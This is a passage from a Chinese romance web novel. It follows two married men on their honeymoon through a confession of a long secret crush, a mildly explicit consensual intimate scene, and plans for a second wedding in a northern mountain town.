薄淞和他简单交谈,印象很好,对方年纪小,却分寸周到,也落落大方,始终带着真诚的笑意,是个很可爱的男生。 “本来想着有机会一块吃饭的,可是我现在太狼狈了,而且作业真的很头疼。”Vincent俏皮眨了眨眼,拎着手里的桶给他们瞧,无奈模样。 “我们要走了,你忙你的。”桓柏蘅不甚在意。 “好,旅程愉快。”Vincent轻声道,"再见,学长。" 他最后一句,是和桓柏蘅告别,而最后一眼,含着些许落寞,留下微笑,离开。 薄淞回头看了他一眼,耳侧传来声音。 “走了。” 桓柏蘅说。 “好。” 薄淞接着往前,心情低落,大概有点为Vincent,因为经历过和对方一样的心情,所以会替人难过。 不过难过,也只这么片刻,在桓柏蘅下秒开口时,散的一干二净。 “我对他有点抱歉。”桓柏蘅说。 “为什么?”薄淞不解。 “他喜欢我两年零七十二天。”桓柏蘅强调。 薄淞胸口堵,“记这么清楚?” “谈哲说的,我结婚那天他发了条社交动态。” “” “或许我刚才应该安慰一下他,你觉得呢?”桓柏蘅像是认真询问。 “”薄淞指尖蜷紧,走两步,停下,第一次怼了回去,“不用吧,你又不是会因为这个而感到抱歉的人。” “我在你眼里这么冷血啊?” “没有。”薄淞泄气,“你很好。” 他意识到自己有在吃醋,清醒的吃醋,才知道原来这么酸。 “从来没有一个人喜欢我这么久,虽然我对他没有同样的情感存在,不过我想”桓柏蘅话语顿了下,然后一字一字,放大在薄淞耳边,“我应该会记住他一辈子吧。” 薄淞脚步猛地停住,他眼底是震惊,巨大的不可置信,望向桓柏蘅。 可面前人丝毫不觉。 “你应该不介意吧?”桓柏蘅理所当然的姿态,“毕竟这很珍贵。” “” 第52章 人一辈子记住的东西很多, 家人,朋友,或是某段珍贵的记忆, 重要时刻的抉择, 都正常,可记住对自己有过爱慕的追求者, 放在心上,反复回味 薄淞颇有种眼前一黑的感受。 他怎么可能不介意。 以及滋生的委屈。 如果桓柏蘅真要记住这么一个人的存在, 那也应该是他,他爱慕桓柏蘅七年多,要比两年多很多很多。 可他看着桓柏蘅眼睛,桓柏蘅在等待他“介意与否”的回答,话语就梗在喉咙里。 说介意, 可桓柏蘅并没说要发生点什么, 甚至于已经直白明确说明并无同等感情, 说不介意,他做不到。 “两年也没有很久。” 薄淞最后的回答艰涩, 得到桓柏蘅淡淡的一笑后,心口堵闷,“回去吧。” 他明显的失落,藏不住。 “你不想说点什么?”桓柏蘅却问他,“你可以想好告诉我,我不介意多等会。” 薄淞不知道该说点什么,还能怎么说,他应该蛮横无理地告知桓柏蘅他不接受这种行为,可桓柏蘅真做了,他不能从桓柏蘅心里把对方抠出来, 或是告诉桓柏蘅,他其实喜欢桓柏蘅更久。 他想说,可张唇几次,也开不了口。 怎么说? 说很喜欢你,喜欢你特别特别久,你应该记住我,不要记住别人。 薄淞无法启齿,于是闭口不言。 桓柏蘅轻不可闻地叹出口气,故意刺激对方的话,没有想象中的反响。 其实心里毫无猜测吗?有的。 可让薄淞亲口告诉他,好像很难。 那晚车上的话,再次在桓柏蘅脑中重复,对于薄淞当时笃定的语气,告知他没有喜欢的人这件事,他并不相信。 因为这话是从林序淮口中说出来的。 他曾经一直以为是别人,所以不自知的或许是有那么些醋意的,知晓对薄淞的心意后,愈演愈烈,两个月期限,他让薄淞选择他,他会接受薄淞的过去。 不管是把那个人藏在心里多久,或者可能至今都还没能完全放下,他可以用以后的时间,一点点把那个人挤出薄淞心里的位置。 可他没等到薄淞的摊牌,等来的答案奇怪,薄淞否认那个人的存在。 一连两次,甚至于询问,为何他会作这样的猜测。 薄淞并不知道林序淮酒后的醉语,会被许景渊告诉他,才会觉得,谎言好像无懈可击。 欺骗的意义在哪里? 桓柏蘅想过。 排除了薄淞心里还有那个人,从而对他隐瞒的可能性之一。 另一个可能性,浮出水面。 从相亲第一次见面结束急迫向他要的联系方式,在临时不过的温泉旅行却抽身于繁忙工作一口答应,他以为对方的讨好型人格,无微不至的照顾迁就予取予求,对他独一份的毫无保留 薄淞总是做的很多,却吝啬于告诉他。 桓柏蘅其实大可以质问,可他希望薄淞学会的,是主动的坦诚,可明显,或许还要点时间。 薄淞心情无疑低落,他们打车到酒店附近,随意找了家餐厅解决。 饭后出来,已经入夜。 风里带着凉意。 薄淞只稍稍瑟缩,垂下的手被另一道体温握住,他脚步顿了下,看向身侧,桓柏蘅在路灯下黑沉的眼睛,注视着他。 “冷?”桓柏蘅把他手揣进口袋里,这么包裹着,“买条围巾吧,前面有商店。” 他们不打算现在回去,太早,逛逛街,买点纪念品。 明天的行程c吃饭时商量好,改道去一个比较远的地方,包了车,明早司机来接,得去一天,晚上回来肯定疲惫,而后天一早,他们会离开这片区域。 往A国北边的城市去。 薄淞被牵着,心脏才缓过来不少,意识到完全是在自我折磨,在要不要对桓柏蘅坦诚这一件事上。他原本想,不要给桓柏蘅莫须有的压力,打定主意过去不会再提,前面的七年暗恋都过去,他会爱桓柏蘅下一个七年,下下一个七年,所以不重要。 可桓柏蘅这两天的态度,很多时候的话,薄淞细想,不确定桓柏蘅是不是知道什么,却无从考证,他和林序淮确认过,对方并没有把他的事说出去,所以暗恋对方这样的事,哪里来的证据。 正因为不可能有证据,薄淞勉强安心,直到桓柏蘅刚才那番话在他心里掀起轩然大波。 他以为的压力负担,对桓柏蘅来说,是珍贵的? 薄淞确定桓柏蘅不该是这样的曾经确认,可被推翻,桓柏蘅没有无缘无故骗他的理由,要他吃醋吗? 可桓柏蘅让他吃醋,也从来都有分寸。 他不觉得自己能掩饰的很好,从离开学校到现在,可没有等来桓柏蘅对于这件事的解释,而桓柏蘅说那番话时,态度也再认真不过。 所以,对于桓柏蘅是珍贵的,被纯粹的喜欢着,不是压力。 记住一辈子。 在心里。 其他人。 薄淞心空落落的,好酸,以至于被面前台阶绊的踉跄,好在被桓柏蘅眼疾手快抓住胳膊。 “想什么呢?看路。” 薄淞心跳还因为忽然的失重急速跳动,缓一阵,站稳,踩上台阶,有些狼狈,“抱歉。” 话出口,意识到桓柏蘅不喜欢。 于是着急的寻桓柏蘅的视线,他想解释,撞进一双无奈却柔和几分的眸中。 桓柏蘅习惯性看人时候,垂着眼皮,只留浅浅的眼睫至下眼睑小片缝隙,因此眸光透出来,总带着不自知的凉意,可薄淞越来越发现,很多时候,看着他时,桓柏蘅会柔和许多,没那么冷。 因为台阶上下缘故,能清楚看到桓柏蘅眼睛里的他自己。 薄淞把解释的话咽回去,轻声应了句。 迈步上去时。 桓柏蘅说了句。 “我说了你可以慢慢想,我不急于一时。” “,” 店里围巾款式复杂,薄淞只挑了最简单的一款,两个颜色,他拿起另一条,“你要吗?” “可以。” 桓柏蘅付了钱,围巾系上去,风进不去,暖和许多,薄淞没那么冷,但他们牵着的手没分开,仍旧被桓柏蘅揣在兜里。 A国街头卖工艺品的小店不少,薄淞打起精神,逛了几家,选了一个方便带回国的挂件,作为给林序淮的礼物。 桓柏蘅当然知道他买给谁,家里一间闲置客房里,摆满林序淮这么多年送薄淞的礼物,被他定义为不单纯的友情。 他从来不会送许景渊和郑云松这些没用的礼物,至于生日,两人会直接甩来链接,要什么买什么就行。 可薄淞逛了这么多家店,挑选认真。 第一份异国他乡礼物,买给别人的。 “你有喜欢的吗?我送你。” 薄淞当然听不见桓柏蘅心声,只是给林序淮买了,他就想给桓柏蘅买。 “不用。” “我送你吧,再逛逛。” 薄淞一方面真心想给桓柏蘅买,一方面也转移注意力。 付款出了店面,沿街继续逛起来。 小店实在太多,逛得眼花缭乱,薄淞选定前,会问一问桓柏蘅,没看见对方多喜欢,从主街绕到侧街,发现一家装修别致的店面,在一众透明玻璃外头可以看见里头布局的店铺中格外醒目。 它占据最左侧位置,店门只右侧可供一人进去的小门,用帘子掩着,占据门口大片面积的,是一只巨大的粉色蝴蝶。 整个店主色系粉嫩,格外吸睛,非常浪漫梦幻的颜色。 薄淞好奇,脚步往那过去。 桓柏蘅跟着他一道。 薄淞率先迈进去。 店里没人,自助选购的。 他视线聚焦定格右侧玻璃柜某一点,然后大脑空白。 不过几秒,他转身就要出去,撞上后头进来的桓柏蘅。 “” 诺大的店里只有他们两人。 薄淞尴尬地头皮发麻,他想说走错了,桓柏蘅已经往右边去,总算来了点精神。 “可以随便选?” “” 这是一家情趣用品店,光明正大开在最热闹的中心街头,装扮成很吸引人的模样,引着人往里头进。 薄淞没想逛的,更不想给桓柏蘅买。 可桓柏蘅逛得起劲。 玻璃柜里装着的玩具花样很多,一眼就足够羞耻那种。 桓柏蘅第一次进来,着实开了眼界,很快选好了想要的,他停在玻璃柜前,跟薄淞说,“想要这个。” 桓柏蘅指的,像是个套装的用具,粉色的毛绒狐狸耳朵,系在脖子上的蝴蝶结和铃铛,这些都还算正常,最重工且展示细节的,是一条蓬松柔软的狐狸尾巴,连接处是一个银色的金属,中间胖,两头略缩小,细节很充足,确保让人知道,这条尾巴如何使用。 薄淞看到了,几乎像被雷劈了,他无法接受这条尾巴用在他身上,后退一步是无意识的,拒绝的话却是脱口而出。 “不行。” “不是随我选吗?”桓柏蘅看了眼,“我真的喜欢。” 薄淞再次拒绝,“不行。” “好吧。”桓柏蘅妥协很快,薄淞愣了下,下秒就见人伸手,利落的按下购买按钮,从兜里掏出手机,“你送我别的,这个我自己买。” “” 薄淞没想到他能这样,一点道理不讲,震惊愣在原地,机器运转的声音响起,里头东西缓缓下降,掉到最底下,他看桓柏蘅弯腰,手伸进去。 “可爱吗?” 桓柏蘅拿出个粉色狐狸耳朵,只有那一对耳朵,向薄淞走近。 薄淞呆在原地,直至桓柏蘅抬手把毛茸茸的耳朵带在他头上,才回神。 被戏弄了。 他的脸快和耳朵一个色。 毛真的很软,薄淞带上去,抬起的眸底还有因为桓柏蘅刚才霸道的行为而着急气恼的一点湿润。 他以为被不尊重,以为桓柏蘅会强迫他做不愿意的事。 桓柏蘅才意识到自己有点过了,可又很心动,因为薄淞此刻模样,湿漉漉的眸光,羞涩而又纯情。 店里有监控,不是合适的场合。 桓柏蘅只得无奈地埋在薄淞肩头。 “怎么办啊?”他轻声苦恼。 薄淞不解,情绪还没平静,“什么?” “难受。” 桓柏蘅说。 薄淞这才紧张起来,以为他怎么了,想握住对方的手被桓柏蘅抓住,贴在腰上。 “不是不舒服的难受。”桓柏蘅动了一下,略微头疼,却也如实道,“是我有点起反应。” 这话实在说的太不合时宜,因此薄淞慢半拍理解到意思,感觉再次被雷劈。 “都怪你。”桓柏蘅忽然说,他幽怨的叹出长长一口气,“宝贝,你这个样子真的好可爱。” “” 第53章 两人第二天的行程取消, 理由是,大早上桓柏蘅起不来。 薄淞喊他第三遍,桓柏蘅背过身去, 枕头一半被他折起来埋脸上, 活活把自己闷死的节奏。 闷死也不起。 时间是太早了。 这会不过当地时间六点。 薄淞也困到不行,强打精神罢了, 这个状态去玩怕是也不会开心。 “我打个电话,不去好了。” 他替人把枕头拿下来, 桓柏蘅总算睁开眼睛一点点缝隙,困倦不清道,“真的?如果你想去的话,我起来陪你。” 话说的好听,压根没这个打算, 薄淞哭笑不得。 “不去了。” 他说完桓柏蘅就拉他继续补觉, 薄淞只好说要先打电话。 “快点,我闭眼等你啊。” 桓柏蘅闭上眼,踏踏实实的睡了。 薄淞同司机说了抱歉, 表示今天的费用照常会结算给对方,人不用过来了,司机另一边无端获得假期,当然欣喜。 沟通很顺利,薄淞放下手机,也重新躺了回去。 桓柏蘅睡得很快,压根没等他。 薄淞打了个哈欠,脸颊在枕上蹭了蹭,心里对取消这个行程也是十分满意,他往桓柏蘅身边蹭过去些, 碰到人手臂,就被睡着的人下意识搂过去。 两人蜜月出来几天,确实累,一方面时差没调好,另一方面,每天可以说是早出晚归,旅游都这样,因此今天一觉睡到下午两点,可算是睡饱。 就是睡得很没力气。 “醒了?” 桓柏蘅丢下手机,薄淞没反应过来,就被翻了个面,搂着腰拖过去,薄淞腰窝深,桓柏蘅总得用力点,才能握住。 薄淞便也伸手回抱他,黏黏糊糊在一起。 “怎么才醒。”桓柏蘅手从裸露温烫的皮肤挪到薄薄一层的睡衣外头,隔着睡衣摸,“我等你好久了。” “你什么时候醒的?”薄淞还迷糊,“现在几点?” 帘子拉得严实,一小条缝隙窥不清外头,薄淞手臂被压着,肩膀上桓柏蘅一直在蹭他,也伸不出手去够手机。 “醒了一个小时了。”桓柏蘅手顺着脊椎骨一路往上摸,又一路往下,回答,“三点了。” 薄淞呼出口气,他们也太能睡了。 “饿不饿?酒店叫个餐吧。” “你饿了?” “还好。” “那先不吃?”桓柏蘅说。 薄淞其实无所谓吃不吃饭,点头答应,他想着要不找部电影看,闲着也是闲着,时间这么多,还很清闲,开口的话被一只沿着脊椎往下作乱的手打断。 “闲着也是闲着。”桓柏蘅重复薄淞前一秒的想法,手指挑开单薄布料,很快找到温软湿润的地方,进去的很轻松。 薄淞几乎立刻身体软了下来。 “我们做点别的。”- 薄淞宠的桓柏蘅没边了,洗完澡出来,腰酸的要命。 手也疼。 他躺在床上,看人出来,眼神对视,轻颤着眼睫,闭上。 身旁陷进去大片,桓柏蘅躺了上来。 “疼不疼?” 薄淞手被握住,手腕处一圈的红痕,微微泛肿,桓柏蘅有点后悔。 “下次不用领带捆你了。”他在薄淞手腕上亲了下。 薄淞才有点点感动,然后听人接着道。 “不然我们晚上去昨晚的店再逛一逛,应该有那种不伤手的防护手铐吧。” “” 薄淞睁开眼,难以置信。 桓柏蘅就亲他眼睛,动作温柔,可不妨碍想法多,他清了清嗓子,“回国以后,我想去你公司坐坐?” 薄淞大概被桓柏蘅影响不小,瞬间明白此坐非彼坐。 “不行。”他闷闷拒绝。 “为什么?我就在你办公室呆着,又不去哪?”桓柏蘅想入非非,“你那玻璃外面能看见里面吗?不如我给你装个单向的,或者你去我办公室也行。” “” 薄淞捂住了他的嘴,桓柏蘅才总算不能说话,只是比起薄淞的羞赧,对方眼底都是笑意,笑的薄淞一边觉得桓柏蘅流氓行径,一边止不住心跳剧烈。 他发现自己是被拿捏的死死的。 完全抵抗不了。 薄淞手被拉下来,意识到这点,可他心甘情愿被桓柏蘅这么欺负,只是 “你太过分了。”他出口,还是沮丧,“都要永远记住别的人,还跟我” 他就不应该昨天晚上答应桓柏蘅,就应该让桓柏蘅难受一整晚才是,刚才还配合的让桓柏蘅绑他想起来,薄淞都觉得自己特别不争气。 欢愉过去,事情重新涌上来,情绪低落。 “你不是不介意?”桓柏蘅却慢吞吞的回答。 薄淞被刺激到,也可能是他们刚做完,心情放松,昨日觉得难以启齿矫情的话,很容易出口,“介意。”他话语低下来,“你这是不对的。” 桓柏蘅笑了笑,手从薄淞面颊划过,鼻梁,唇瓣,喉结,锁骨他一点都不正经,也不像是认真正视这个问题。 薄淞觉得有点委屈,可到底舍不得推开。 那双手最后落在他胸口。 摊开。 心脏在胸腔咚咚咚,剧烈。 “你身上每一处我都摸过,看过。”桓柏蘅缓缓道,按在薄淞心口的手用力了些,他直直望进薄淞眼底,问他,“我们应该是世界上对彼此最坦诚的人,是吗?” “” “我忘不掉,会记住,记一辈子,可我不知道,我有没有弄错,其实我没有百分百的把握。但我希望记住的那个人,是我想要记住的。” 桓柏蘅话说到这,已经足够直接。 他问薄淞,“所以可以坦诚给我个答案吗?藏在心里很多年的,爱了很久的人,有还是没有?是我吗?” 桓柏蘅等薄淞的答案,哪怕是一个他有大概率把握的答案,竟然也有点紧张,时间变得漫长,像是按下暂停键,在薄淞最后的回答,一个字“是”时,终于往前走。 桓柏蘅长长地舒了口气,心情平复。 “大学吗?什么时候?”他问。 薄淞却又不答了。 “有这么难?”桓柏蘅和他亲密无间的贴着,让薄淞知道,他们是全世界最亲密的人,可以分享所有东西,“其实最后一天的行程还有一项保密的,可以提早告诉你。” 他把话题转开,薄淞有点太紧绷,他的本意并不是审问薄淞。 “什么?” “结婚。” 薄淞片刻茫然。 “爷爷和爸妈都会来,景渊,云松,你的朋友我请了林序淮,办个简单的婚礼,然后我们再领一次证。” “A国法律,结婚是不允许离婚的,我欠你一个婚礼。” 上次桓柏蘅没有用心,薄淞的心情则是一番跌宕,领证没有宣誓,朋友圈社交软件留不下一点婚姻痕迹。 婚礼盛大浪漫,却没有爱,所以他想给薄淞补一个,不那么盛大的,可他会承诺给薄淞所有的爱。 “你什么时候计划的?”家人朋友办签证需要时间。 “情人节你来找我的时候。”桓柏蘅如实说了。 薄淞是唯一被隐瞒的人,身边所有人都知道,没人告诉他,他现在真的有点懵,桓柏蘅让他先别懵。 “你要坦白从宽。” 桓柏蘅捧着他脸,认真注视薄淞眼睛,“难道这次婚礼宣誓,我们还要各自心里藏着秘密吗?而且我这个人很记仇的,你对我有隐瞒,那我也会,累积多了,我们就会走远,走散” “不要。” 桓柏蘅成功刺激到薄淞最在意的点,他不能接受走散,不能接受桓柏蘅和他有距离。 “那你告诉我。”桓柏蘅要确切的答案。 “第一眼。”薄淞认命一般道,“我对你一见钟情。” 桓柏蘅从来不相信一见钟情,这是个对于他而言有些可笑的答案,大概薄淞明白,所以迟迟不愿意说,他说出口,从未有过的放松,像是隔空安慰多年前的自己,告诉他,现在的自己,竟然真的吧当初的心意说出口。 好像这么多年的坚持,不是没有意义。 得到了最后完美的结局。 “晚会排练?”桓柏蘅模糊拼凑出记忆。 他和郑云松打完电话,进门没注意,撞到了人,洒了一地的稿纸,他捡起来,起身时,第一眼见到薄淞。 记忆的画面,些许模糊。 他确实没有深刻印象,只记得,当时心里讶异的一句感慨,传闻中的学长,是不负盛名。 但也再无更多。 “你记不清楚是吗?”薄淞不意外,“我们当时也没说话,后来见面机会不多,也很正常的,我知道你没印象。” 他其实已经算幸运,很多人的暗恋留不下一点足迹,起码他在桓柏蘅记忆里影子模糊,可终归留了那么一笔。 迟到的缘分延续到七年后,才会有今天。 “你很出名,也很优秀。” 桓柏蘅说完,又觉得不好,他把人推开了些在怀里,确保薄淞没有异样的情绪,薄淞确实好了许多,因为桓柏蘅给他的反应很正常,让他自在。 “我不是给你发好人卡,陈述事实。” 桓柏蘅能记住薄淞,因为对方确实出众。 “但是对你而言无关紧要。”薄淞苦笑,“是吧?” 他再优秀,再好,不是同一个专业甚至不在一个学院,没有交集,他也不主动,所以从始至终,桓柏蘅不会留意他,再正常不过。 “我没办法否认。” 桓柏蘅至此,才像是露出一点消极的情绪。 “学长。” 他很久没这么喊薄淞,凑近,近到能数清楚薄淞睫毛的根数,才有些无奈开口。 “可以的话,我真的希望,你那会不要喜欢我。” 桓柏蘅承认会心疼,在多年后的今天,心里装了薄淞的时候,为过去自己的冷漠。 “喜欢我干嘛啊?”他低声道,“我那会眼里根本没有你,一点都不在意你你干嘛喜欢我,会难过吧,是不是很辛苦?” 桓柏蘅确认,他的目光在大学时期,从未在薄淞身上驻足停留,匆匆一瞥后,留不下任何印记,所以薄淞不应该喜欢他,就不会难过那么多年。 “也会有开心的。”薄淞摇头。 辛苦有,喜悦也有,是任何事都无法给予的那种满足。在他每次去见桓柏蘅的路上,真正见到桓柏蘅的时候,都会油然而生的幸福感。不论再沮丧的心情薄淞记得那是个雨天,漫无目的在学校走,却在隔着很远很远的长街水果店,很突然的瞥见桓柏蘅。 乌云被驱散,阳光落下来,是喜欢桓柏蘅才独有的幸运,而极其稀少的,他们有过两次视线碰撞,他惊慌躲开,心跳却久久震动不止。 都是桓柏蘅带给他的,在青涩的少年时期,无可替代的心动。 “就算重来一次。”薄淞说,“我还是会喜欢你。” 第54章 两人谈开后, 薄淞知晓问题出在林序淮那,偏偏林序淮酒后断片,压根什么都不记得, 显得他的谎言特别拙劣。 后知后觉又意识到, 桓柏蘅从头到尾都知情,虽然挺高兴对方没把他想成表里不一的人, 算是信任他的人品,可他昨天以及之前的表现, 也足够丢人且好笑。 还有酒醉后那番话,薄淞想起来脸热。 他都二十七岁快奔三十的年纪,谈起一段恋爱,怎么跟十七八岁一样,心思多, 别扭, 还有点没必要的矫情,现在薄淞这么觉得,因为发现把该说的话说出口, 根本没有预想的尴尬。 桓柏蘅从始至终让他很自在。 薄淞轻轻呼出一口气,耳边就传来声音。 “不合胃口?”桓柏蘅问。 薄淞一愣,摇头,“没有。” “那多吃点。” 薄淞把食物喂进嘴里,咀嚼,他垂着眼皮,嚼了一会,才像是不经意抬眼,同桓柏蘅视线撞上。 “” 薄淞挪开视线,叉了块水果, 接着吃,眼睛再一转,果不其然,再次对上桓柏蘅目光。 对方挑了挑眉,“看我干嘛?” 桓柏蘅一手撑着下巴,另一只手拿着叉子,边吃边盯着他,从头至尾,薄淞才察觉,刚验证完就被反过来质问。 台词被抢走,话语哽住一会,只好说“没有”。 “饭后想出去走会吗?” 一整天闷着,他怕薄淞觉得无趣。 薄淞头点到一半,改口,“不了吧。” 他想起刚才桓柏蘅说的,有点担心对方真的跑去买些不该买的,他没办法不答应,如果桓柏蘅很认真的对他说非常想要的话,薄淞会心软,在他能接受的范围内。 不过当然,他并不喜欢被捆绑的感觉。 桓柏蘅没意见,低头接着吃饭,薄淞却忍不住问,“你想出去吗?” “都行。”桓柏蘅说。 薄淞眼神变得迟疑。 “都行就是去或者不去我都无所谓的意思。”桓柏蘅口头解释一遍,“我如果必须要去,会明确表达需求,当然,如果我只是有点想,那你累了我们也可以不去,你不需要过分在意我的想法。当然,我指的不是这一件事。” 桓柏蘅以前其实有意识到,薄淞和他一起,不管大事小事,总会周全体贴,顺着他来,他曾经很享受这份体贴,但是现在,他觉得也不必那么体贴。 他更希望薄淞跟他相处不要老是委屈自己,他并不需要薄淞时时刻刻考虑他的想法,照顾他的情绪,好比出不出门这种小事,当然,某些事情上,他从开始就没有变过的,需要薄淞的顺从。 桓柏蘅承认自己想要掌控对方的欲望,随着喜欢的加深,势必一同增长,但他会尽量保持平衡,不让薄淞感到压力,或者他在意的,薄淞做不到,那他会迂回的从另一方面讨回来。 当然这一点,他不打算和薄淞谈的那么详细。 “好。”薄淞应了声。 他一向很能记住桓柏蘅的话,每一句,没再多说- 两人在酒店休息够,第二天飞往下一个目的地,这次飞行时间短,两个小时到达。 他们往北走。 不是中心城市,人流稀少许多,可也有几个著名景点,各类艺术展会,他们逛展会,品尝当地美食,体验刺激项目。 结束了这座偏北小城的三天,然后坐火车,接着往北。 路上停留在一个乡村,家家户户都是花,环着中心翡翠似的湖泊,能看见牛羊成群,只可惜气候不到,草没绿,他们呆了两天,然后出发去此行蜜月最后一站。 也是A国最北部的小镇。 薄淞一下车,感受到温度的骤变,白日里就需要套上薄羽绒,围好围巾,才出了站点。 桓柏蘅打过去电话,司机已经在出站口。 找到人,是一个当地的年轻男人,递过来车钥匙,桓柏蘅道过谢,示意薄淞上车,他们这次租了车,方便在小镇附近景点游玩。 当然,婚礼也会在这里举行。 薄淞既期待也有些紧张。 车子驶出站点,一路直行,小镇没有高楼大厦,有的只是连绵不止的雪山,这座小镇被山包围,融化的雪水化作泉声叮咚,湖泊边有盛开的浅白色小花。 镇子安静,并不热闹。 他们停在目的地,薄淞把车窗摇上去,解开安全带,侧身时脸颊被捧住。 桓柏蘅探过身,和他贴了贴。 “不冷啊?” 薄淞开了一路的窗,脸颊冰凉,被桓柏蘅的体温弄得温热了些。 “这里空气很好。”他眼尾弯了弯。 桓柏蘅定的是一套别墅,雪山脚下。 这次蜜月,全程的计划机票酒店薄淞没有参与,桓柏蘅安排的,除了昨天临时的那趟行程,当然最后取消了。 薄淞很享受这种被安排的体验,每一天都像惊喜。 他们进到房子里。 别墅足足五层,房间足够,到时候人不少。 薄淞想起问,“爷爷他们什么时候到?” “大后天。”桓柏蘅说,“本来让他们直接婚礼现场过来,你都知道了,就让他们早一晚来了。” 薄淞点点头,当天太赶,也累。 “你先选房间,剩下的谁到谁先定。” 桓柏蘅虽然这么说,薄淞还是得把最舒服的房间留给长辈,楼层高可国外建筑少有电梯,他们不能让长辈爬楼,决定选高层。 “那就顶楼吧。”桓柏蘅说,“顶层就一个房间。” 顶层原本是个露台,房东修了个房间,视野极好,而且安静。 薄淞觉得可以,两人把东西搬上去。 窗帘拉开,就是雪山,能看见积雪,景色美到失语。 他们简单休息了会,外出找餐厅吃饭。 小镇上都是自家人经营的小店,开车随便找了家,点好餐,店里趴了只伯恩山,晃着尾巴过来要食物。 薄淞给了个面包丁,伯恩山趴在脚边不肯走了。 毛发摸着很舒服。 “可以拜托一件事吗?” 薄淞犹豫一路,还是开口。 桓柏蘅能猜到,薄淞说了,不意外。 无非就是许景渊和林序淮的事。 “房间安排没问题,其他的我没法保证。” 薄淞说想让林序淮单独住一层,这事桓柏蘅可以解决,可归根究底的问题,他解决不了,许景渊腿在他自己身上,桓柏蘅管不住。 再者,实话说,他挺赞成许景渊和林序淮处着,总比让林序淮总缠着薄淞好,不过这话肯定不能说。 “我知道。”薄淞叹口气。 他打算给面包加点果酱,忽然腿上一沉,低头看去。 伯恩山大脑袋耷上来,眼巴巴地渴望着食物,黄豆颜色的小眉毛皱在一块 ,甚至于肥嘟嘟的爪子一块耷在脑袋边。 馋的不行。 薄淞哭笑不得,放弃往面包丁加果酱,又喂了它一块。 “你喜欢狗?” 桓柏蘅看了眼伯恩山晃动的尾巴,以及薄淞眼底流露的喜爱,对待小动物,薄淞很温柔。 薄淞说是,下秒被这会两只爪子都搭上来撒娇要食物的伯恩山逗笑,于是碗里的面包丁大部分进了伯恩山肚子里。 桓柏蘅见他们互动,思考半晌,最终面无表情挪开目光。 狗不能养,喜欢也没用。 桓柏蘅讨厌有只狗黏着薄淞,坚定了这类宠物情感需求过大,会占据薄淞很大一部分注意力,比后院一窝兔子都烦。 他催促薄淞快点吃,薄淞不明所以,也配合了,以为是要赶时间去哪,吃完饭两人迅速离开店里。 薄淞都没来及跟伯恩山道别。 拐进了另一条小巷。 这条街算是镇上的中心,只是这个季节不是旅游旺季,加上地理位置过偏,游客稀少,都是本地人。 店铺开着门,店主也不热衷挣钱,悠悠闲闲地在店里忙自己的事。 他们进去几家店,随意逛逛,买点东西。 街不长,逛完他们买了些晚上可以吃的食物,打算回去就不出门,天黑镇上闭店,人更少,加上天气预报显示会有场小雪。 雪下的比预想中要早。 他们几乎刚回去,空中飘起雪花,雪下下停停一整夜,第二天薄淞睁眼,看见远山覆上新雪又白了一层的雪山。 桓柏蘅还在睡,手臂搭在他腰上,体温因为一整晚的深眠,散着热意。 薄淞手轻轻抱上桓柏蘅手臂。 翻过身,在人怀里,闭眼继续睡去- 接下来两天,他们开车去了远些的地方。 海边悬崖,葡萄庄园,森林教堂,驱车追了场日落,车子停在无人的乡间小道,晚霞烧红一片,他们坐在车顶,到天色暗下,手仍旧紧牵在一起。 谈天说地,这次,双方的未来里都有彼此。 约定好下一次旅行。 “回国会不会因为工作冷落我?” 桓柏蘅提前问,毕竟薄淞是个工作狂。 薄淞忧虑,“我还怕你太忙呢。” 桓柏蘅势必不会太轻松,薄淞经历过这个阶段,不过他会替桓柏蘅分担,未来的日子,值得期待。 他们往彼此身边靠拢。 现在的氛围很适合接吻。 于是他们越凑越近薄淞打了个喷嚏。 “” 两人相视笑起来。 “我们还是先下去吧。” 薄淞起来,他可不想在这么浪漫的时候生一场病,而且还要结婚的。 他们坐回车里,往住所开。 路上薄淞收到林序淮的消息,人已经在机场,他和林序淮通了个电话,确认明天到达时间,机场只能降落在临近的城市,镇上还得火车过来。 他们车过去不方便,所以等林序淮到镇子口,他再去接。 薄淞知道大概时间,挂了电话。 桓柏蘅神情复杂,在薄淞看来时,如实开口,“景渊好像也差不多这个点。” “” 两人默默对了下航班号。 薄淞犹豫不决要不要拨出的电话再次被桓柏蘅抽走,如同之前婚礼那次一样,桓柏蘅的意思是,“你不应该插手太多,景渊和云松一块过来。” 意思是,航班相同,只是巧合。 巧合也可以说是缘分,而薄淞是个相信缘分的人,是不是冥冥中有另一条线,把许景渊和林序淮牵在一块,他不知道。 薄淞只知道,他如果电话打过去,大概率林序淮会改航班。 薄淞困扰,因为他确实不知道林序淮心里究竟怎么想的。 “算了吧。我们两处理感情够糟糕了,就不要再给他们添乱了。” 桓柏蘅吹枕边风,吹到薄淞心里。 这点确实无法否认,两个人的恋爱,愣是谈出四个人的即视感。 还是先不要添乱吧。 薄淞妥协。 他决定等回国,找个机会和林序淮再认真聊一聊,确定林序淮的想法后,再思考以后的事,是要帮着林序淮躲开对方,或者站在许景渊那边。 他实在有些心累。 【全文完结】 第55章 薄淞微信上没再收到林序淮消息, 反而桓柏蘅手机提示音不停,在空旷的房间响起。 声音从沙发位置传来。 两人刚才在沙发上一通折腾,手机不知道丟哪个缝隙里, 桓柏蘅懒懒不愿动弹, “明天再说。” 薄淞哭笑不得,只好从另一侧下床, 在沙发上翻找到手机。 他不想窥探桓柏蘅隐私,可无奈显示屏亮个不停, 显示郑云松的名字。 他心里就有数了。 “你看看。” 薄淞递过去手机。 桓柏蘅接过来,没急着点进微信,调到设置一栏,薄淞手指头被拎过去的时候还有些愣,就被连着按了好几下。 输入指纹2的电子音响起。 “我对你没隐私, 你随时可以翻我手机。” “” 薄淞默默地拿过床头手机, 同样输入了桓柏蘅的指纹,见到人满意的表情,催促, “你看看他发你什么?” 还能发什么,猜也猜的到。 两人依偎在床头,翻起郑云松的实时播报,到最后一条消息截止。 【郑云松:我靠,你猜我发现了谁,林序淮,天哪。】 【郑云松:景渊过去了,到底为什么一架飞机啊!额,好像吵起来了,貌似。】 【郑云松:你说我要不要过去, 为什么你结婚每次都要发生这种事?行行行,动上手了。】 【郑云松:景渊要气死了。】 【郑云松:他两睡一块了???】 【郑云松:啊,等会,我旁边来了个美女。】 【郑云松:先不聊,再见。】 桓柏蘅:“” 薄淞:“” 桓柏蘅合上手机,丢床头,再把薄淞拉下来,顺带关了灯,动作一气呵成,“先睡觉,明天再说。” 薄淞也不想睡前头疼,闭眼答应- 婚礼西服第二天到了,按照两人的尺寸,桓柏蘅提早定的,历时一个多月,才制作完毕。 薄淞试穿,很合身,西服被整整齐齐挂在衣柜里。 